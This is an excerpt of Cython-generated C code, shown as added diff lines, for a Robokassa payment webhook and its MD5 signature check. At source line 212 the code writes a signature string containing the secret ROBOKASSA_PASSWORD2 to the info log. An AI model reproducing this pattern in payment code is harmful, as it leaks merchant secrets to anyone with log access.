__pyx_L8_try_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + __pyx_L7_except_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_XDECREF(__pyx_t_17); + __Pyx_AddTraceback("robokassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "handlers/payments/robokassa_pay.py":203 + * + * + * def check_payment_signature(params): # <<<<<<<<<<<<<< + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_12check_payment_signature(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_13robokassa_pay_11check_payment_signature, "\320\237\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \320\277\320\276\320\264\320\277\320\270\321\201\320\270 \320\267\320\260\320\277\321\200\320\276\321\201\320\260 \320\276\321\202 Robokassa \321\201 \321\203\321\207\320\265\321\202\320\276\320\274 shp_id."); +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_12check_payment_signature = {"check_payment_signature", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_12check_payment_signature, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_13robokassa_pay_11check_payment_signature}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_12check_payment_signature(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_params = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("check_payment_signature (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_params,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_params)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 203, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "check_payment_signature") < 0)) __PYX_ERR(0, 203, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_params = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("check_payment_signature", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 203, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.check_payment_signature", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_11check_payment_signature(__pyx_self, __pyx_v_params); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_11check_payment_signature(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_params) { + PyObject *__pyx_v_out_sum = NULL; + PyObject *__pyx_v_inv_id = NULL; + PyObject *__pyx_v_signature_value = NULL; + PyObject *__pyx_v_shp_id = NULL; + PyObject *__pyx_v_signature_string = NULL; + PyObject *__pyx_v_expected_signature = NULL; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + Py_ssize_t __pyx_t_5; + Py_UCS4 __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("check_payment_signature", 1); + + /* "handlers/payments/robokassa_pay.py":205 + * def check_payment_signature(params): + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") # <<<<<<<<<<<<<< + * inv_id = params.get("InvId") + * signature_value = params.get("SignatureValue") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_OutSum}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_v_out_sum = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":206 + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + * inv_id = params.get("InvId") # <<<<<<<<<<<<<< + * signature_value = params.get("SignatureValue") + * shp_id = params.get("shp_id") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_InvId}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_v_inv_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":207 + * out_sum = params.get("OutSum") + * inv_id = params.get("InvId") + * signature_value = params.get("SignatureValue") # <<<<<<<<<<<<<< + * shp_id = params.get("shp_id") + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_SignatureValue}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_v_signature_value = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":208 + * inv_id = params.get("InvId") + * signature_value = params.get("SignatureValue") + * shp_id = params.get("shp_id") # <<<<<<<<<<<<<< + * + * signature_string = f"{out_sum}:{inv_id}:{ROBOKASSA_PASSWORD2}:shp_id={shp_id}" + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_shp_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_v_shp_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":210 + * shp_id = params.get("shp_id") + * + * signature_string = f"{out_sum}:{inv_id}:{ROBOKASSA_PASSWORD2}:shp_id={shp_id}" # <<<<<<<<<<<<<< + * + * logger.info(f"Signature string before hashing: {signature_string}") + */ + __pyx_t_1 = PyTuple_New(7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = 0; + __pyx_t_6 = 127; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_v_out_sum, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_6) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_6; + __pyx_t_5 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__23); + __pyx_t_5 += 1; + __Pyx_GIVEREF(__pyx_kp_u__23); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_kp_u__23); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_v_inv_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_6) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_6; + __pyx_t_5 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__23); + __pyx_t_5 += 1; + __Pyx_GIVEREF(__pyx_kp_u__23); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_kp_u__23); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ROBOKASSA_PASSWORD2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_6 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_6) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_6; + __pyx_t_5 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_shp_id_3); + __pyx_t_5 += 8; + __Pyx_GIVEREF(__pyx_kp_u_shp_id_3); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_kp_u_shp_id_3); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_v_shp_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_6) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_6; + __pyx_t_5 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 6, __pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_1, 7, __pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_signature_string = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":212 + * signature_string = f"{out_sum}:{inv_id}:{ROBOKASSA_PASSWORD2}:shp_id={shp_id}" + * + * logger.info(f"Signature string before hashing: {signature_string}") # <<<<<<<<<<<<<< + * + * expected_signature = ( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Signature_string_before_hashing, __pyx_v_signature_string); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":215 + * + * expected_signature = ( + * hashlib.md5(signature_string.encode("utf-8")).hexdigest().upper() # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_md5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = PyUnicode_AsUTF8String(__pyx_v_signature_string); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_9 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_7}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_upper); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_v_expected_signature = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":218 + * ) + * + * logger.info(f"Expected signature: {expected_signature}") # <<<<<<<<<<<<<< + * logger.info(f"Received signature: {signature_value}") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_info); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_v_expected_signature, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Expected_signature, __pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":219 + * + * logger.info(f"Expected signature: {expected_signature}") + * logger.info(f"Received signature: {signature_value}") # <<<<<<<<<<<<<< + * + * return signature_value.upper() == expected_signature.upper() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_v_signature_value, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Received_signature, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_8}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":221 + * logger.info(f"Received signature: {signature_value}") + * + * return signature_value.upper() == expected_signature.upper() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_signature_value, __pyx_n_s_upper); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + 